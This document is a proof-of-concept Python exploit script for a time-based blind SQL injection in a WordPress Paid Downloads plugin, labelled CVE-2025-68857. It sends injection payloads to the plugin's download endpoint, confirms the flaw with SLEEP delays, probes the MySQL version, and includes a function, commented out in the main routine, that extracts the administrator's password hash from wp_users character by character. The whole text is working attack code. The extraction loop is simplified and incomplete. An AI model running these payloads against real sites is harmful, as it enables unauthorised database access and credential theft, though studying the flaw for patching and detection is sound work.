CVE-2025-68857

# CVE-2025-68857 PoC - WordPress Paid Downloads SQL Injection # Target: WordPress site with Paid Downloads plugin <= 3.15 # Vulnerability: Blind SQL Injection import requests import time target = "http://target-wordpress-site.com" # The vulnerable endpoint typically handles download requests vulnerable_url = f"{target}/wp-content/plugins/paid-downloads/download.php" def test_sql_injection(): """ Test for SQL injection vulnerability using time-based blind technique """ # Normal request (baseline) start = time.time() normal_params = {"id": "1"} requests.get(vulnerable_url, params=normal_params) normal_time = time.time() - start # Malicious request with SLEEP function # If vulnerable, the response will be delayed by ~5 seconds start = time.time() malicious_params = {"id": "1' AND SLEEP(5)-- -"} response = requests.get(vulnerable_url, params=malicious_params) elapsed = time.time() - start if elapsed >= 5: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response delayed by {elapsed:.2f} seconds") else: print("[-] No SQL injection detected") return elapsed >= 5 def extract_db_version(): """ Extract database version using blind SQL injection """ # Payload to extract MySQL version payload = "1' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(3), 0)-- -" start = time.time() response = requests.get(vulnerable_url, params={"id": payload}) elapsed = time.time() - start if elapsed >= 3: print("[+] Database version appears to be MySQL 5.x") else: print("[-] Database version check failed") def extract_admin_credentials(): """ Extract admin password hash (requires knowledge of table prefix) """ # Generic template for extracting user_pass from wp_users # Adjust table prefix based on actual configuration for i in range(1, 33): # MD5 hash is 32 characters char_payload = f"1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{i},1)='a', SLEEP(2), 0)-- -" start = time.time() requests.get(vulnerable_url, params={"id": char_payload}) elapsed = time.time() - start # Based on response time, determine if character matches # This is a simplified example; real attack would be more sophisticated print(f"[*] Testing character position {i}...") if __name__ == "__main__": print("[*] CVE-2025-68857 SQL Injection Test") print("[*] Target:", target) if test_sql_injection(): print("\n[+] Vulnerability confirmed, proceeding with data extraction...") extract_db_version() # extract_admin_credentials() # Uncomment to attempt credential extraction

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